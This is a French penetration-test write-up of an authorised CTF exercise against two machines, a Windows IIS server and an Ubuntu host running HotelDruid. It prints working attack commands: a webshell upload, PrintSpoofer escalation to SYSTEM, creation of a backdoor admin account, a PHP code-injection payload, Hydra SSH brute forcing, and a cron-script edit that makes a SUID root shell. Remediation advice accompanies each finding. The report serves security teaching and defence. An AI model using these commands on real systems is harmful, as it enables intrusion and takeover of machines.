Contexte - Rapport consolidé sur deux machines, réalisé dans le cadre d’un exercice CTF autorisé. Type de test : boîte noire (black box) · Date : 15 janvier 2026 · Version : v1.0
Machine Cible Système Partie 1 10.8.0.4Windows Partie 2 10.8.0.5Ubuntu Hotel Total : 5 vulnérabilités critiques, 1 haute.
Partie 1 - Machine Windows (10.8.0.4)
1. Résumé exécutif
Ce document présente les résultats du test d’intrusion réalisé sur la machine Windows (10.8.0.4). L’objectif était d’identifier les vulnérabilités de sécurité présentes et de démontrer l’impact potentiel d’une compromission complète du système.
Le test a révélé des failles critiques permettant une compromission complète du système, incluant l’accès initial via un formulaire d’upload non sécurisé et une escalade de privilèges vers le compte SYSTEM (niveau de privilège maximum sur Windows).
1.1 Synthèse des résultats
| Niveau de criticité | Nombre |
|---|---|
| Critique | 2 |
| Haute | 0 |
| Moyenne | 0 |
| Basse | 0 |
1.2 Recommandations principales
- Désactiver ou sécuriser immédiatement le formulaire d’upload exposé sur
/upload.aspxen production. - Restreindre le privilège
SeImpersonatePrivilegepour le compte IIS AppPool. - Implémenter une validation stricte des fichiers uploadés (liste blanche d’extensions, analyse antivirus).
- Désactiver le service Print Spooler si non utilisé, ou limiter son accès.
2. Méthodologie
Le test d’intrusion a été réalisé selon une méthodologie structurée basée sur le PTES (Penetration Testing Execution Standard).
2.1 Reconnaissance
Collecte d’informations sur la cible via un scan Nmap complet pour identifier les services exposés et les versions logicielles :
nmap -A -T4 -p- 10.8.0.4
Ports ouverts découverts : 80 (HTTP), 139/445 (SMB), 5985 (WinRM). Le service HTTP correspond à Microsoft IIS 10.0.
2.2 Scan et énumération
Identification des services actifs, énumération des utilisateurs et des partages, fuzzing de répertoires web avec dirsearch. La page upload.aspx a répondu avec un code HTTP 200 (OK) :
dirsearch -u http://10.8.0.4
[Status: 200] /upload.aspx
2.3 Analyse des vulnérabilités
Le formulaire d’upload ne présente aucune restriction. Un webshell (shell.aspx) a pu être uploadé, permettant l’exécution de commandes arbitraires à distance. Le formulaire affiche même l’avertissement « Upload form test, DO NOT push in production ».
2.4 Exploitation
Exploitation du webshell pour obtenir un accès initial avec les privilèges du compte IIS AppPool. Injection d’un PrintSpoofer pour abuser des droits d’impersonation :
C:\inetpub\wwwroot\Uploads\PrintSpoofer64.exe -i -c "whoami"
La vérification via whoami /priv confirme que SeImpersonatePrivilege est Enabled.
2.5 Post-exploitation
Escalade de privilèges via l’exploitation de SeImpersonatePrivilege avec PrintSpoofer, obtention du compte SYSTEM :
C:\inetpub\wwwroot\Uploads\PrintSpoofer64.exe -i -c "whoami"
# => nt authority\system
Recherche des fichiers flags sur la machine compromise :
PrintSpoofer64.exe -i -c "cmd.exe /c dir C:\*.txt /s /b | findstr /i flag"
Récupération du contenu du flag Administrator :
PrintSpoofer64.exe -i -c "cmd /c type C:\Users\Administrator\Desktop\flag.txt > C:\inetpub\wwwroot\Uploads\flag_output.txt"
# => OS{BIEN JOUE !}
Création d’un compte administrateur et connexion via evil-winrm pour contrôle complet :
PrintSpoofer64.exe -i -c "net user hacker Password123! /add"
PrintSpoofer64.exe -i -c "net localgroup Administrators hacker /add"
evil-winrm -i 10.8.0.4 -u hacker -p Password123!
3. Périmètre du test
Test effectué dans le cadre d’un exercice CTF (Capture The Flag) autorisé.
3.1 Cibles
| IP cible | 10.8.0.4 |
| Système | Serveur Windows avec IIS 10.0 |
| Services ciblés | HTTP (80), SMB (139/445), WinRM (5985) |
3.2 Type de test
| Type | Boîte noire |
| Information initiale | Plage IP 10.8.0.0/24 uniquement |
| Objectif | Compromission complète et récupération du flag Administrator |
4. Résultats détaillés
4.1.1 Formulaire d’upload non sécurisé exposé en production
- Criticité : CRITIQUE
- Système affecté : Windows (
10.8.0.4) - IIS 10.0 -/upload.aspx
Description - Un formulaire d’upload de fichiers accessible publiquement a été découvert à l’URL /upload.aspx. Ce formulaire permet l’upload de fichiers sans aucune validation ni restriction, et affiche même un avertissement « DO NOT push in production ». Le répertoire de destination (C:\inetpub\wwwroot\Uploads\) est accessible directement via le web.
Impact
- Exécution de code arbitraire sur le serveur
- Compromission complète du système via upload de webshell
- Vol de données sensibles
Preuve de concept (PoC)
- Découverte via fuzzing :
dirsearch→[Status: 200] /upload.aspx - URL :
http://10.8.0.4/upload.aspx - Répertoire accessible :
http://10.8.0.4/uploads/(directory listing activé)
Remédiation
- IMMÉDIAT : supprimer ou désactiver
/upload.aspxen production. - Implémenter une liste blanche stricte d’extensions autorisées (
.pdf,.docx). - Scanner tous les uploads avec un antivirus avant stockage.
- Stocker les uploads hors du webroot (ex :
D:\Uploads\). - Désactiver l’exécution de scripts dans le répertoire d’uploads.
- Ajouter une authentification forte sur la fonctionnalité d’upload.
4.1.2 Escalade de privilèges via SeImpersonatePrivilege (PrintSpoofer)
- Criticité : CRITIQUE
- Système affecté : Windows (
10.8.0.4) - Compte IIS AppPool avecSeImpersonatePrivilege
Description - Le compte IIS AppPool (iis apppool\defaultapppool) possède le privilège SeImpersonatePrivilege activé. Ce privilège permet à un processus de se faire passer pour un autre utilisateur, y compris SYSTEM. En exploitant ce privilège avec PrintSpoofer (déjà présent sur le serveur), il est possible d’escalader vers NT AUTHORITY\SYSTEM.
Impact
- Compromission totale du système - accès au compte SYSTEM
- Contrôle complet sur tous les fichiers, processus et services
- Flag Administrator récupéré :
OS{BIEN JOUE !} - Dump des hashs de mots de passe (SAM/SYSTEM)
- Installation de backdoors persistantes
Preuve de concept (PoC)
whoami /priv => SeImpersonatePrivilege Enabled
PrintSpoofer64.exe -i -c "whoami" => nt authority\system
Flag => OS{BIEN JOUE !}
Remédiation
- Retirer
SeImpersonatePrivilegeau compte IIS AppPool. - Désactiver le service Print Spooler si non utilisé.
- Utiliser un compte de service dédié avec privilèges minimaux.
- Activer Windows Defender Application Control (WDAC).
- Patcher régulièrement Windows et IIS.
5. Plan de remédiation
| Vulnérabilité | Criticité | Délai recommandé |
|---|---|---|
Formulaire d’upload non sécurisé (/upload.aspx) | Critique | IMMÉDIAT (< 24h) |
Escalade privilèges via SeImpersonatePrivilege | Critique | Court terme (< 1 sem.) |
5.1 Actions immédiates
- Désactiver
/upload.aspxou restreindre l’accès par authentification forte. - Changer tous les mots de passe des comptes Administrator et de service.
- Vérifier les logs IIS pour identifier toute activité suspecte antérieure.
- Rechercher d’autres backdoors (comptes non autorisés, tâches planifiées malveillantes).
5.2 Actions à court terme
- Retirer
SeImpersonatePrivilegeau compte IIS AppPool. - Implémenter une validation stricte des uploads (liste blanche, analyse antivirus).
- Déplacer les uploads hors du webroot.
- Désactiver l’exécution de scripts dans le répertoire d’uploads.
6. Conclusion - Partie 1
Le test d’intrusion réalisé sur la machine Windows (10.8.0.4) a révélé des vulnérabilités critiques permettant une compromission complète du système en quelques étapes. La posture de sécurité actuelle est critique.
6.1 Chaîne d’attaque complète
| Étape | Action |
|---|---|
| 1 - Reconnaissance | Scan nmap → découverte IIS 10.0 sur le port 80 |
| 2 - Énumération | Fuzzing web avec dirsearch → découverte /upload.aspx |
| 3 - Accès initial | Upload du webshell shell.aspx → exécution de commandes en tant que IIS AppPool |
| 4 - Escalade de privilèges | Exploitation SeImpersonatePrivilege avec PrintSpoofer → NT AUTHORITY\SYSTEM |
| 5 - Objectif atteint | Récupération du flag Administrator : OS{BIEN JOUE !} |
7. Annexes - Partie 1
7.1 Outils utilisés
| Outil | Usage |
|---|---|
| Nmap 7.94 | Scan de ports et énumération de services |
| dirsearch / ffuf | Fuzzing de répertoires web (wordlist common.txt) |
| curl | Tests HTTP et interaction avec le formulaire d’upload |
| enum4linux | Énumération SMB (tentative - accès refusé) |
| Navigateur web | Interaction avec le webshell shell.aspx |
| PrintSpoofer64.exe | Exploitation du privilège SeImpersonatePrivilege |
| evil-winrm | Connexion WinRM après création du compte Administrator |
Partie 2 - Ubuntu Hotel (10.8.0.5)
1. Résumé exécutif
Ce document présente les résultats du test d’intrusion réalisé sur le serveur Ubuntu Hotel (10.8.0.5). Le test a révélé des failles critiques permettant une compromission totale du serveur, depuis l’accès initial via une application web hôtelière vulnérable (HotelDruid) jusqu’à l’élévation de privilèges vers le compte root via un script cron modifiable.
1.1 Synthèse des résultats
| Niveau de criticité | Nombre |
|---|---|
| Critique | 3 |
| Haute | 1 |
| Moyenne | 0 |
| Basse | 0 |
1.2 Recommandations principales
- Mettre à jour HotelDruid vers une version corrigée et valider strictement les paramètres d’entrée (notamment
tipo_tabella). - Désactiver l’accès anonyme au service FTP ou restreindre les fichiers accessibles.
- Imposer une politique de mots de passe robustes (l’utilisateur
hotelutilisait le mot de passesuperman). - Restreindre les droits d’écriture sur le script de maintenance
/srv/auto_update.shau seul utilisateur root.
2. Méthodologie
Méthodologie basée sur le PTES, avec accès VPN au réseau cible (contexte black box). Aucune documentation ni aide préalable n’a été fournie.
2.1 Reconnaissance
sudo nmap -sC -sV -Pn 10.8.0.5
Résultats : ports 21 (FTP vsftpd 3.0.3), 22 (SSH OpenSSH 7.6p1), 80 (HTTP Apache 2.4.29), 111 (RPC). Le service FTP autorise la connexion anonyme et expose un fichier PDF.
2.2 Scan et énumération
Connexion FTP anonyme pour récupérer le fichier Hotel Paradise Welcome Internship.pdf. Découverte de l’interface HotelDruid sur http://10.8.0.5/hoteldruid/inizio.php.
2.3 Analyse des vulnérabilités
Panneau d’administration HotelDruid accessible avec des identifiants faibles. Le paramètre tipo_tabella de l’endpoint visualizza_tabelle.php s’avère vulnérable à une injection de code PHP (RCE).
2.4 Exploitation
Injection d’un payload PHP pour créer un webshell, puis attaque par force brute SSH avec Hydra :
curl -s "http://10.8.0.5/hoteldruid/dati/selectappartamenti.php?shell=cat%20/etc/passwd"
hydra -l hotel -P /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt ssh://10.8.0.5 -t 4
2.5 Post-exploitation
Découverte d’un script /srv/auto_update.sh exécuté par root via cron, modifiable par l’utilisateur hotel. Modification pour créer un binaire bash SUID :
cat > /srv/auto_update.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/benbecomeroot && chmod 4777 /tmp/benbecomeroot
EOF
/tmp/benbecomeroot -p # whoami => root
3. Périmètre du test
3.1 Cibles
| IP cible | 10.8.0.5 |
| Système | Serveur Ubuntu avec Apache, FTP et application HotelDruid |
| Services ciblés | FTP (21), SSH (22), HTTP (80) |
3.2 Type de test
| Type | Boîte noire (black box) |
| Information initiale | Accès VPN uniquement, aucune documentation fournie |
| Objectif | Compromission complète et obtention du compte root |
4. Résultats détaillés
4.1.1 Injection de code PHP (RCE) via HotelDruid - CVSS 9.8
- Criticité : CRITIQUE (CVSS 9.8)
- Système affecté : Ubuntu Hotel (
10.8.0.5) - HotelDruid /visualizza_tabelle.php - Type : CWE-94 - Code Injection (Remote Code Execution)
Description - Le paramètre tipo_tabella du formulaire de création de chambre n’est pas assaini. En injectant du code PHP, un attaquant génère un fichier PHP exécutable sur le serveur permettant d’exécuter des commandes système arbitraires.
Preuve de concept (PoC)
Payload : ${system($_REQUEST[cmd])}
http://10.8.0.5/hoteldruid/dati/selectappartamenti.php?shell=whoami
=> www-data
Remédiation
- Mettre à jour HotelDruid vers la dernière version corrigée.
- Valider et assainir strictement tous les paramètres d’entrée.
- Désactiver
eval()et les fonctions d’exécution système si non nécessaires.
4.1.2 Politique de mots de passe faible - CVSS 9.1
- Criticité : CRITIQUE (CVSS 9.1)
- Système affecté : Ubuntu Hotel (
10.8.0.5) - SSH (port 22) et HotelDruid - Type : CWE-521 - Weak Password Requirements
Description - Deux comptes utilisaient des mots de passe triviaux : admin HotelDruid (admin:BestParadise278, deviné via le PDF FTP) et utilisateur SSH hotel (hotel:superman, trouvé par force brute Hydra en quelques minutes).
Preuve de concept (PoC)
hydra -l hotel -P rockyou.txt ssh://10.8.0.5 -t 4
=> [22][ssh] host: 10.8.0.5 login: hotel password: superman
Remédiation
- Imposer des mots de passe d’au moins 12 caractères complexes (ANSSI).
- Mettre en place fail2ban pour bloquer les attaques par force brute SSH.
- Désactiver l’authentification par mot de passe SSH au profit des clés.
4.1.3 Permissions excessives sur un script cron système - CVSS 7.8
- Criticité : HAUTE (CVSS 7.8)
- Système affecté : Ubuntu Hotel (
10.8.0.5) - Script/srv/auto_update.sh - Type : CWE-732 - Incorrect Permission Assignment for Critical Resource
Description - Le script /srv/auto_update.sh est exécuté régulièrement par root via cron, mais ses permissions permettent à l’utilisateur hotel de le modifier. Un attaquant peut y injecter des commandes arbitraires qui seront exécutées avec les privilèges root.
Preuve de concept (PoC)
cp /bin/bash /tmp/benbecomeroot && chmod 4777 /tmp/benbecomeroot
/tmp/benbecomeroot -p # => euid=0(root)
Remédiation
- Restreindre les droits d’écriture sur
/srv/auto_update.shau seul root (chmod 700). - Auditer régulièrement les permissions des scripts exécutés par cron.
5. Chaîne d’attaque complète
| Étape | Action |
|---|---|
| 1 - FTP anonyme | Récupération du fichier Hotel Paradise Welcome Internship.pdf exposant des informations sur l’établissement |
| 2 - Credential guessing | Identification des identifiants admin HotelDruid : admin:BestParadise278 |
| 3 - Injection PHP (RCE) | Création d’un webshell via tipo_tabella → exécution de commandes en tant que www-data |
| 4 - Mouvement latéral SSH | Lecture de /etc/passwd via le webshell, puis brute force SSH → connexion en tant que hotel (superman) |
| 5 - Root | Modification du script cron /srv/auto_update.sh → shell root obtenu via binaire SUID |
6. Conclusion - Partie 2
Le serveur Ubuntu Hotel (10.8.0.5) présente un niveau de sécurité insuffisant. La combinaison d’une application web non patchée, de mots de passe triviaux et d’une gestion défaillante des permissions système a permis d’atteindre la compromission totale (root) en partant d’un simple accès réseau VPN.
Il est fortement recommandé d’appliquer immédiatement les remédiations décrites, en priorité la mise à jour de HotelDruid, le renforcement de la politique de mots de passe et la correction des permissions cron.
6.1 Plan de remédiation prioritaire
| Vulnérabilité | Criticité | Délai recommandé |
|---|---|---|
Injection PHP RCE via HotelDruid (tipo_tabella) | Critique | IMMÉDIAT (< 24h) |
Politique de mots de passe faible (hotel:superman) | Critique | IMMÉDIAT (< 24h) |
Permissions excessives sur /srv/auto_update.sh | Haute | Court terme (< 1 sem.) |
| Accès FTP anonyme exposant des informations | Haute | Court terme (< 1 sem.) |
6.2 Outils utilisés
| Outil | Usage |
|---|---|
| Nmap | Scan de ports et énumération de services (-sC -sV -Pn) |
| Navigateur / curl | Accès à HotelDruid, exploitation du webshell PHP |
| Hydra | Attaque par force brute SSH (wordlist rockyou.txt) |
| FTP client | Connexion anonyme et récupération du fichier PDF |
| Shell bash | Exploitation de la tâche cron et escalade root |
loulouby · 15 janvier 2026